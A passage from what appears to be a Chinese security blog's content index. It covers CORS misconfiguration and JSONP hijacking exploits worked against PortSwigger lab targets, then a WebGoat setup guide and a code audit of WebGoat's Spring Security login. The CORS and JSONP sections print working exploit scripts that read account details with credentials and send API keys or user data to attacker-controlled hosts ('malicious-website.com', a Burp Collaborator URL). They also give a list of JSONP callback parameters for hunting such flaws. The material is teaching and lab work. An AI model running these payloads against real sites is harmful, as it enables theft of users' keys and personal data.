class="string">'/log?key='</span>+<span class="built_in">this</span>.responseText;</span><br><span class="line"> };</span><br><span class="line"></script></span><br></pre></td></tr></table></figure><p>获取到的密钥:</p><p><img src="1.1.4.png" alt="1.1.4"></p><h5 id="1-2-来源(origin-可为null的cors漏洞"><a href="#1-2-来源(origin-可为null的cors漏洞" class="headerlink" title="1.2 来源(origin) 可为null的cors漏洞"></a>1.2 来源(origin) 可为null的cors漏洞</h5><p>在某些应用程序中可能会将null列入白名单,以支持本地应用程序的开发。</p><p>origin标头不可以设置为任意标头了,尝试设置为null,此时可以获取到数据,说明存在请求来源可为null的cors漏洞</p><p><img src="1.2.1.png" alt="1.2.1"></p><p>本地html测试:</p><p>测试exp:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><iframe sandbox=<span class="string">"allow-scripts allow-top-navigation allow-forms"</span> src=<span class="string">"data:text/html,<script></span></span><br><span class="line"><span class="string">var req = new XMLHttpRequest();</span></span><br><span class="line"><span class="string">req.onload = reqListener;</span></span><br><span class="line"><span class="string">req.open('get','https://ac8d1f4c1ebc2af2806b9d9d00df0041.web-security-academy.net/accountDetails',true);</span></span><br><span class="line"><span class="string">req.withCredentials = true;</span></span><br><span class="line"><span class="string">req.send();</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">console.log(this.responseText);</span></span><br><span class="line"><span class="string"></script>"</span>></iframe></span><br></pre></td></tr></table></figure><p><img src="1.2.2.png" alt="1.2.1"></p><p>此时我们继续采用实验一的攻击思路:</p><p>部署一个恶意脚本到我们的网站上,并将该网址链接发送给要攻击的小王,小王只要访问了我们的链接,我们即可获取到小王的api密钥</p><p>编写exp:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><iframe sandbox=<span class="string">"allow-scripts allow-top-navigation allow-forms"</span> src=<span class="string">"data:text/html,<script></span></span><br><span class="line"><span class="string">var req = new XMLHttpRequest();</span></span><br><span class="line"><span class="string">req.onload = reqListener;</span></span><br><span class="line"><span class="string">req.open('get','https://ac8d1f4c1ebc2af2806b9d9d00df0041.web-security-academy.net/accountDetails',true);</span></span><br><span class="line"><span class="string">req.withCredentials = true;</span></span><br><span class="line"><span class="string">req.send();</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">function reqListener() {</span></span><br><span class="line"><span class="string"> //恶意网站</span></span><br><span class="line"><span class="string">location='malicious-website.com/log?key='+this.responseText;</span></span><br><span class="line"><span class="string">};</span></span><br><span class="line"><span class="string"></script>"</span>></iframe></span><br></pre></td></tr></table></figure><h5 id="1-3-利用信任子域的xss获取主域的敏感信息"><a href="#1-3-利用信任子域的xss获取主域的敏感信息" class="headerlink" title="1.3 利用信任子域的xss获取主域的敏感信息"></a>1.3 利用信任子域的xss获取主域的敏感信息</h5><p>有些服务器的配置为:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Access-Control-Allow-Origin: http:<span class="comment">//*.test.com</span></span><br></pre></td></tr></table></figure><p>这个配置乍一看没问题,信任自己的子域不是很正常吗,但是子域成百上千的大网站中,子域就特别容易出问题,找个xss既有可能严重威胁到主站。而且该配置也不符合最小信任原则,通配符<em>不能随便用,应该设置为固定值。例如:</em></p><p><code>Access-Control-Allow-Origin: http://login.test.com</code> 此时只要保证login.test.com没问题即可确保主站不会遭受cors攻击</p><p>在该实验三中将来源(origin)设置为任意子域,如:</p><p><img src="1.3.1.png" alt="1.3.1"></p><p>设置为不存在的example子域,依旧可以访问敏感数据</p><p>正好该网站的检查库存会将单价信息返回到子域,并且productId参数存在xss漏洞</p><p><img src="1.3.2.png" alt="1.3.2"></p><p>所以想到一个利用链:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">子域触发xss--->访问主域敏感信息--->将敏感信息保存到任意网站</span><br></pre></td></tr></table></figure><p>exp:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><script></span><br><span class="line"> <span class="built_in">document</span>.location=<span class="string">"http://stock.ac671f961e9e127a8052d5200051006e.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://ac671f961e9e127a8052d5200051006e.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://ac021ff51e53121f804ed5d3013300da.web-security-academy.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"</span></span><br><span class="line"></script></span><br></pre></td></tr></table></figure><p>exp解释:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><script></span><br><span class="line"><span class="comment">//子域触发xss,xss访问主域敏感信息</span></span><br><span class="line"> <span class="built_in">document</span>.location=<span class="string">"http://stock.ac671f961e9e127a8052d5200051006e.web-security-academy.net/</span></span><br><span class="line"><span class="string"> ?productId=4</span></span><br><span class="line"><span class="string"> //采用原生js http请求将获取到的内容,保存到主机</span></span><br><span class="line"><span class="string"> <script>var req = new XMLHttpRequest(); </span></span><br><span class="line"><span class="string"> req.onload = reqListener; </span></span><br><span class="line"><span class="string"> //访问敏感信息</span></span><br><span class="line"><span class="string"> req.open('get','https://ac671f961e9e127a8052d5200051006e.web-security-academy.net/accountDetails',true); </span></span><br><span class="line"><span class="string"> req.withCredentials = true;</span></span><br><span class="line"><span class="string"> req.send();</span></span><br><span class="line"><span class="string">function reqListener() {</span></span><br><span class="line"><span class="string"> //携带敏感信息,get请求访问主机,主机log日志即可出现用户apikey</span></span><br><span class="line"><span class="string"> location='https://ac021ff51e53121f804ed5d3013300da.web-security-academy.net/log?key='%2bthis.responseText; };</span></span><br><span class="line"><span class="string"> %3c/script></span></span><br><span class="line"><span class="string"> &storeId=1"</span></span><br><span class="line"></script></span><br></pre></td></tr></table></figure><p><strong>跨域除了cors外还有一种非官方的方法jsonp,jsonp 是 JSON with padding(填充式 JSON 或参数式 JSON)的简写。</strong></p><p>jsonp通过动态创建<script>标签,然后利用<script>的src属性不受同源策略的约束来获取跨域数据。</p><p>jsonp在造成方便的同时也造成了一定的安全的问题。jsonp劫持最早在08年提出,早期各大厂商并不重视此类漏洞,但在个人信息保护严密的现在,jsonp劫持带来的信息泄露问题,促使各大src厂商开始重视jsonp劫持漏洞。以下简要分析jsonp劫持原理,很多不足之处,还望大佬们斧正。</p><h2 id="2-jsonp劫持"><a href="#2-jsonp劫持" class="headerlink" title="2.jsonp劫持"></a>2.jsonp劫持</h2><h3 id="2-1-漏洞场景模拟:"><a href="#2-1-漏洞场景模拟:" class="headerlink" title="2.1 漏洞场景模拟:"></a>2.1 漏洞场景模拟:</h3><p>某司因为业务需求,需要网站B从网站A中获取json数据,所以他们在A中实现了一个jsonp接口</p><p><img src="2.1.1.png" alt="2.1.1"></p><p>接口代码如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line">header(<span class="string">'Content-type: application/json'</span>);</span><br><span class="line"><span class="comment">//获取回调函数名</span></span><br><span class="line"><span class="variable">$jsonpCallback</span> = htmlspecialchars(<span class="variable">$_REQUEST</span> [<span class="string">'jsonp'</span>]);</span><br><span class="line"><span class="comment">//json数据</span></span><br><span class="line"><span class="variable">$json_data</span> = <span class="string">'["张三","12011012110","男","浙江杭州"]'</span>;</span><br><span class="line"><span class="comment">//输出jsonp格式的数据</span></span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$jsonpCallback</span> . <span class="string">"("</span> . <span class="variable">$json_data</span> . <span class="string">")"</span>;</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>网站B代码如下:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta"><!DOCTYPE <span class="meta-keyword">html</span>></span></span><br><span class="line"><span class="tag"><<span class="name">html</span>></span></span><br><span class="line"><span class="tag"><<span class="name">head</span>></span></span><br><span class="line"><span class="tag"><<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">"utf-8"</span>></span></span><br><span class="line"><span class="tag"><<span class="name">title</span>></span>JSONP 实例<span class="tag"></<span class="name">title</span>></span></span><br><span class="line"><span class="tag"></<span class="name">head</span>></span></span><br><span class="line"><span class="tag"><<span class="name">body</span>></span></span><br><span class="line"><span class="tag"><<span class="name">div</span> <span class="attr">id</span>=<span class="string">"divCustomers"</span>></span><span class="tag"></<span class="name">div</span>></span></span><br><span class="line"><span class="tag"><<span class="name">script</span> <span class="attr">type</span>=<span class="string">"text/javascript"</span>></span><span class="javascript"></span></span><br><span class="line"><span class="javascript"><span class="function"><span class="keyword">function</span> <span class="title">callback</span>(<span class="params">result, methodName</span>)</span></span></span><br><span class="line"><span class="function"><span class="javascript"></span>{</span></span><br><span class="line"><span class="javascript"> <span class="keyword">var</span> html = <span class="string">'<ul>'</span>;</span></span><br><span class="line"><span class="javascript"> <span class="keyword">for</span>(<span class="keyword">var</span> i = <span class="number">0</span>; i < result.length; i++)</span></span><br><span class="line"><span class="javascript"> {</span></span><br><span class="line"><span class="javascript"> html += <span class="string">'<li>'</span> + result[i] + <span class="string">'</li>'</span>;</span></span><br><span class="line"><span class="javascript"> }</span></span><br><span class="line"><span class="javascript"> html += <span class="string">'</ul>'</span>;</span></span><br><span class="line"><span class="javascript"> <span class="built_in">document</span>.getElementById(<span class="string">'divCustomers'</span>).innerHTML = html;</span></span><br><span class="line"><span class="javascript">}</span></span><br><span class="line"><span class="javascript"></span><span class="tag"></<span class="name">script</span>></span></span><br><span class="line"><span class="tag"><<span class="name">script</span> <span class="attr">type</span>=<span class="string">"text/javascript"</span> <span class="attr">src</span>=<span class="string">"http://127.0.0.1/jsonp.php?jsonp=callback"</span>></span><span class="tag"></<span class="name">script</span>></span></span><br><span class="line"><span class="tag"></<span class="name">body</span>></span></span><br><span class="line"><span class="tag"></<span class="name">html</span>></span></span><br></pre></td></tr></table></figure><p>效果如下:</p><p><img src="2.1.2.png" alt="2.1.2"></p><p>此时通过jsonp接口,实现了跨域传输。然而该跨域传输过程存在很大的安全安全问题,因为对json参数调用者没有任何限制</p><h3 id="2-2-漏洞利用流程:"><a href="#2-2-漏洞利用流程:" class="headerlink" title="2.2 漏洞利用流程:"></a>2.2 漏洞利用流程:</h3><p>这里使用burp的collaborator client功能来接收http记录,主要是为了实验,也演示一下collaborator client的强大功能 ,在实际利用中可以直接向本地127.0.01发送请求,在web日志记录中查看即可</p><p>2.2.1 打开collaborator client获取请求链接</p><p><img src="2.1.3.png" alt="2.1.3"></p><p><img src="2.1.4.png" alt="2.1.4"></p><p>2.2.2 复制链接填入脚本,点击Poll now开始循环监听http请求。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><h1>jsonp exp</h1></span><br><span class="line"></span><br><span class="line"><span class="xml"><span class="tag"><<span class="name">script</span> <span class="attr">type</span>=<span class="string">"text/javascript"</span>></span><span class="javascript"></span></span></span><br><span class="line"><span class="javascript"><span class="xml"> <span class="function"><span class="keyword">function</span> <span class="title">callback</span>(<span class="params">result</span>)</span></span></span></span><br><span class="line"><span class="function"><span class="javascript"><span class="xml"></span>{</span></span></span><br><span class="line"><span class="javascript"><span class="xml"> <span class="keyword">var</span> req = <span class="keyword">new</span> XMLHttpRequest();</span></span></span><br><span class="line"><span class="javascript"><span class="xml"></span></span></span><br><span class="line"><span class="javascript"><span class="xml"> <span class="comment">//向burp的collaborator client发送请求,并携带获取到json数据</span></span></span></span><br><span class="line"><span class="javascript"><span class="xml"> req.open(<span class="string">'get'</span>,<span class="string">'https://r2u9atjp588pt96t5cpef5o40v6lua.burpcollaborator.net/?userinfo='</span>+result,<span class="literal">true</span>);</span></span></span><br><span class="line"><span class="javascript"><span class="xml"> req.withCredentials = <span class="literal">true</span>;</span></span></span><br><span class="line"><span class="javascript"><span class="xml"> req.send();</span></span></span><br><span class="line"><span class="javascript"><span class="xml">}</span></span></span><br><span class="line"><span class="javascript"><span class="xml"></span><span class="tag"></<span class="name">script</span>></span></span></span><br><span class="line"><span class="comment">//jsonp接口</span></span><br><span class="line"><span class="xml"><span class="tag"><<span class="name">script</span> <span class="attr">type</span>=<span class="string">"text/javascript"</span> <span class="attr">src</span>=<span class="string">"http://127.0.0.1/jsonp.php?jsonp=callback"</span>></span><span class="tag"></<span class="name">script</span>></span></span></span><br></pre></td></tr></table></figure><p>2.2.3 将脚本部署到恶意网站,并将网站链接发送给受害者,受害者访问链接,即可在collaborator client中获取到用户的json数据。</p><p><img src="2.1.5.png" alt="2.1.5"></p><h3 id="2-3-jsonp挖掘思路"><a href="#2-3-jsonp挖掘思路" class="headerlink" title="2.3 jsonp挖掘思路"></a>2.3 jsonp挖掘思路</h3><p>知道了应用场景,也知道利用流程,此时就应该思考怎么利用jsonp漏洞了</p><p>工具挖掘可以使用xray,xray自带有jsonp漏洞检测功能,监听端口,被动扫描就完事</p><p>手工挖掘也有一些小技巧,大佬总结的jsonp接口常用参数:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">cb</span><br><span class="line">callback</span><br><span class="line">jsoncb</span><br><span class="line">jsonpcb</span><br><span class="line">jsonp</span><br><span class="line">jQuery</span><br><span class="line">jsoncallback</span><br><span class="line">jsonpcallback</span><br><span class="line">jsoncall</span><br><span class="line">jsonpcall</span><br></pre></td></tr></table></figure><p>访问网站首页</p><p><img src="2.1.6.png" alt="2.1.6"></p><ol><li><p>打开network</p></li><li><p>勾选Preserver log</p></li><li><p>在搜索框中搜索常用jsonp参数</p></li></ol><p>搜索到带有相关参数的链接,即可使用exp验证是否存在jsonp泄露。</p><p>验证poc:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta"><!DOCTYPE <span class="meta-keyword">html</span>></span></span><br><span class="line"><span class="tag"><<span class="name">html</span>></span></span><br><span class="line"><span class="tag"><<span class="name">head</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">title</span>></span>jsonp劫持验证示例<span class="tag"></<span class="name">title</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">"utf-8"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">style</span> <span class="attr">type</span>=<span class="string">"text/css"</span>></span><span class="css"></span></span><br><span class="line"><span class="css"> <span class="selector-tag">table</span>{</span></span><br><span class="line"><span class="css"> <span class="attribute">display</span>:inline</span></span><br><span class="line"><span class="css"> }</span></span><br><span class="line"><span class="css"></span><span class="tag"></<span class="name">style</span>></span></span><br><span class="line"><span class="tag"></<span class="name">head</span>></span></span><br><span class="line"><span class="tag"><<span class="name">body</span>></span></span><br><span class="line"><span class="tag"><<span class="name">script</span> <span class="attr">src</span>=<span class="string">'https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js'</span>></span><span class="tag"></<span class="name">script</span>></span></span><br><span class="line"><span class="tag"><<span class="name">script</span> <span class="attr">type</span>=<span class="string">"text/javascript"</span>></span><span class="javascript"></span></span><br><span class="line"><span class="javascript"><span class="function"><span class="keyword">function</span> <span class="title">callback</span>(<span class="params">json</span>)</span>{</span></span><br><span class="line"><span class="javascript"> <span class="built_in">console</span>.log(json);</span></span><br><span class="line"><span class="javascript">}</span></span><br><span class="line"><span class="javascript"><span class="keyword">var</span> s=<span class="built_in">document</span>.createElement(<span class="string">'script'</span>);</span></span><br><span class="line"><span class="javascript">s.type=<span class="string">"text/javascript"</span>;</span></span><br><span class="line"><span class="javascript"> <span class="comment">//漏洞可能存在点</span></span></span><br><span class="line"><span class="javascript">s.src=<span class="string">'http://127.0.0.1/jsonp.php?jsonp=callback'</span>;</span></span><br><span class="line"><span class="javascript"><span class="built_in">document</span>.body.appendChild(s);</span></span><br><span class="line"><span class="javascript"></span><span class="tag"></<span class="name">script</span>></span></span><br><span class="line"><span class="tag"></<span class="name">body</span>></span></span><br><span class="line"><span class="tag"></<span class="name">html</span>></span></span><br></pre></td></tr></table></figure><p><img src="2.1.7.png" alt="2.1.7"></p><p>console.log获取到数据,说明存在该漏洞</p><p>参考链接:</p><p><a href="https://blog.knownsec.com/2015/03/jsonp_security_technic/">https://blog.knownsec.com/2015/03/jsonp_security_technic/</a></p><p><a href="https://mp.weixin.qq.com/s/SuEpF3RIZIv2CcIUok8SoQ">https://mp.weixin.qq.com/s/SuEpF3RIZIv2CcIUok8SoQ</a></p><p><a href="https://www.k0rz3n.com/2018/06/05/%E7%94%B1%E6%B5%85%E5%85%A5%E6%B7%B1%E7%90%86%E8%A7%A3JSONP%E5%B9%B6%E6%8B%93%E5%B1%95/">https://www.k0rz3n.com/2018/06/05/%E7%94%B1%E6%B5%85%E5%85%A5%E6%B7%B1%E7%90%86%E8%A7%A3JSONP%E5%B9%B6%E6%8B%93%E5%B1%95/</a></p>]]></content>
<categories>
<category> web安全 </category>
</categories>
<tags>
<tag> 跨域 </tag>
<tag> cors </tag>
<tag> jsonp </tag>
</tags>
</entry>
<entry>
<title>1.webgoat环境构建</title>
<link href="/2020/07/05/webgoat%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0/1.webgoat%E7%8E%AF%E5%A2%83%E6%9E%84%E5%BB%BA/"/>
<url>/2020/07/05/webgoat%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0/1.webgoat%E7%8E%AF%E5%A2%83%E6%9E%84%E5%BB%BA/</url>
<content type="html"><![CDATA[<h2 id="下载webgoat"><a href="#下载webgoat" class="headerlink" title="下载webgoat"></a>下载webgoat</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/WebGoat/WebGoat.git</span><br></pre></td></tr></table></figure><p>看提示需要jdk15.</p><h2 id="安装jdk15"><a href="#安装jdk15" class="headerlink" title="安装jdk15"></a>安装jdk15</h2><p><a href="https://www.oracle.com/java/technologies/javase/jdk15-archive-downloads.html">https://www.oracle.com/java/technologies/javase/jdk15-archive-downloads.html</a></p><p>配置环境变量:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">export JDK15_HOME="/Library/Java/JavaVirtualMachines/jdk-15.0.2.jdk/Contents/Home"</span><br><span class="line">alias jdk15="export JAVA_HOME=$JDK15_HOME"</span><br></pre></td></tr></table></figure><p>打开pom包下载完依赖。</p><h2 id="启动webgoat"><a href="#启动webgoat" class="headerlink" title="启动webgoat"></a>启动webgoat</h2><p>配置好运行环境,记得选用jdk15。点击绿色箭头启动即可。</p><p><img src="1.png" alt="1"></p>]]></content>
<categories>
<category> 代码审计 </category>
</categories>
<tags>
<tag> webgoat </tag>
<tag> webgoat 环境构建 </tag>
</tags>
</entry>
<entry>
<title>2.登录注册模块审计</title>
<link href="/2020/07/05/webgoat%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0/2.%E7%99%BB%E5%BD%95%E6%B3%A8%E5%86%8C%E6%A8%A1%E5%9D%97%E5%AE%A1%E8%AE%A1/"/>
<url>/2020/07/05/webgoat%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0/2.%E7%99%BB%E5%BD%95%E6%B3%A8%E5%86%8C%E6%A8%A1%E5%9D%97%E5%AE%A1%E8%AE%A1/</url>
<content type="html"><![CDATA[<h1 id="1-登录功能"><a href="#1-登录功能" class="headerlink" title="1.登录功能"></a>1.登录功能</h1><h2 id="1-1-根据路由查找实现代码"><a href="#1-1-根据路由查找实现代码" class="headerlink" title="1.1.根据路由查找实现代码"></a>1.1.根据路由查找实现代码</h2><p>登录接口为:/WebGoat/login</p><p>全局搜索/login查看相关代码:</p><p><img src="1.1.1.png" alt="1.1"></p><p>定位到webgoat/WebSecurityConfig.java</p><p>可以看出该项目使用的是springSecurity框架,框架关键配置如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"> <span class="function"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title">configure</span><span class="params">(HttpSecurity http)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security = http</span><br><span class="line"><span class="comment">// http.authorizeRequests()其中这里的意思是指通过authorizeRequests()方法来开始请求权限配置。</span></span><br><span class="line"> .authorizeRequests()</span><br><span class="line"> <span class="comment">//我们指定任何用户都可以访问多个URL的模式。</span></span><br><span class="line"> <span class="comment">//任何用户都可以访问以"/css/**","/images/**", 或者 "/js/**..."开头的URL。</span></span><br><span class="line"> .antMatchers(<span class="string">"/css/**"</span>, <span class="string">"/images/**"</span>, <span class="string">"/js/**"</span>, <span class="string">"fonts/**"</span>, <span class="string">"/plugins/**"</span>, <span class="string">"/registration"</span>, <span class="string">"/register.mvc"</span>).permitAll()</span><br><span class="line"><span class="comment">// .anyRequest().authenticated()是对http所有的请求必须通过授权认证才可以访问。</span></span><br><span class="line"> .anyRequest().authenticated();</span><br><span class="line"> security.and()</span><br><span class="line"> <span class="comment">//通过formlogin方法登录,并设置登录url为/login</span></span><br><span class="line"> .formLogin()</span><br><span class="line"> .loginPage(<span class="string">"/login"</span>)</span><br><span class="line"><span class="comment">// 登录成功后跳转到//welcome.mvc页面</span></span><br><span class="line"> .defaultSuccessUrl(<span class="string">"/welcome.mvc"</span>, <span class="keyword">true</span>)</span><br><span class="line"> .usernameParameter(<span class="string">"username"</span>)</span><br><span class="line"> .passwordParameter(<span class="string">"password"</span>)</span><br><span class="line"> .permitAll();</span><br><span class="line"> security.and()</span><br><span class="line"><span class="comment">// 登出之后删除cookie,使session无效</span></span><br><span class="line"> .logout().deleteCookies(<span class="string">"JSESSIONID"</span>).invalidateHttpSession(<span class="keyword">true</span>);</span><br><span class="line"><span class="comment">// 取消csrf防护,说明该项目大概率存在csrf漏洞</span></span><br><span class="line"> security.and().csrf().disable();</span><br><span class="line"></span><br><span class="line"> http.headers().cacheControl().disable();</span><br><span class="line"><span class="comment">// ajax身份认证入口点/login</span></span><br><span class="line"> http.exceptionHandling().authenticationEntryPoint(<span class="keyword">new</span> AjaxAuthenticationEntryPoint(<span class="string">"/login"</span>));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Autowired</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">configureGlobal</span><span class="params">(AuthenticationManagerBuilder auth)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"><span class="comment">// 从数据库读取用户进行身份验证</span></span><br><span class="line"> auth.userDetailsService(userDetailsService); <span class="comment">//.passwordEncoder(bCryptPasswordEncoder());</span></span><br><span class="line"> }</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">auth.userDetailsService(userDetailsService); <span class="comment">//.passwordEncoder(bCryptPasswordEncoder());</span></span><br></pre></td></tr></table></figure><p>从数据库中读取用户进行身份验证:<a href="https://www.jianshu.com/p/c3b79a625d84">https://www.jianshu.com/p/c3b79a625d84</a></p><h2 id="1-2-跟进userDetailsService"><a href="#1-2-跟进userDetailsService" class="headerlink" title="1.2. 跟进userDetailsService"></a>1.2. 跟进userDetailsService</h2><p><img src="1.2.1.png" alt="2.1"></p><p>userDetailsService为UserService的对象。跟进UserService类。</p><p>webgoat-container/src/main/java/org/owasp/webgoat/users/UserRepository.java</p><p><img src="1.2.2.png" alt="2.1"></p><p>UserService继承JpaRepositoy。采用了jpa的方式,继承JpaRepository即可使用数据的增删改查。</p><p>此处的findByUsername,为自定义的简单查询。就是根据方法名来自动生成 SQL</p><p>springboot jpa使用方式讲解:<a href="https://www.cnblogs.com/ityouknow/p/5891443.html">Spring Boot(五):Spring Boot Jpa 的使用 - 纯洁的微笑 - 博客园 (cnblogs.com)</a></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Spring Boot Jpa 是 Spring 基于 ORM 框架、Jpa 规范的基础上封装的一套 Jpa 应用框架,可使开发者用极简的代码即可实现对数据的访问和操作。它提供了包括增删改查等在内的常用功能,且易于扩展!学习并使用 Spring Data Jpa 可以极大提高开发效率!</span><br><span class="line"></span><br><span class="line">Spring Boot Jpa 让我们解脱了 DAO 层的操作,基本上所有 CRUD 都可以依赖于它来实现</span><br></pre></td></tr></table></figure><h2 id="1-3-跟进WebGoatUser类"><a href="#1-3-跟进WebGoatUser类" class="headerlink" title="1.3.跟进WebGoatUser类"></a>1.3.跟进WebGoatUser类</h2><p>@Entity注解可以确定该类为webgoat的用户实体类。</p><p><img src="1.2.3.png" alt="2.1"></p><h2 id="1-4-sql注入判断"><a href="#1-4-sql注入判断" class="headerlink" title="1.4.sql注入判断"></a>1.4.sql注入判断</h2><p>登录接口设计到了数据库的查询等操作,自然想到了sql注入,但是有没有sql注入呢?</p><p>可以在配置文件中添加打印sql语句配置,在控制台查看输出。</p><p>webwolf/src/main/resources/application-webwolf.properties</p><p>添加:spring.jpa.show-sql=true</p><p><img src="1.4.1.png" alt="4.1"></p><p>可以在test中执行测试用例来打印sql语句</p><p>webgoat-container/src/test/java/org/owasp/webgoat/users/UserRepositoryTest.java</p><p><img src="1.4.2.png" alt="4.2"></p><p>可以看到执行的sql语句采用了预编译。所以此处就杜绝了sql注入。</p><p>关于springDataJpa的注入问题还发现了一篇很好的文章:</p><p><a href="https://sec-in.com/article/547">Java代审之SQL注入—SpringDataJpa-SecIN (sec-in.com)</a></p><p>作者给出了两个全局查找注入的搜索方式:<br>1.order 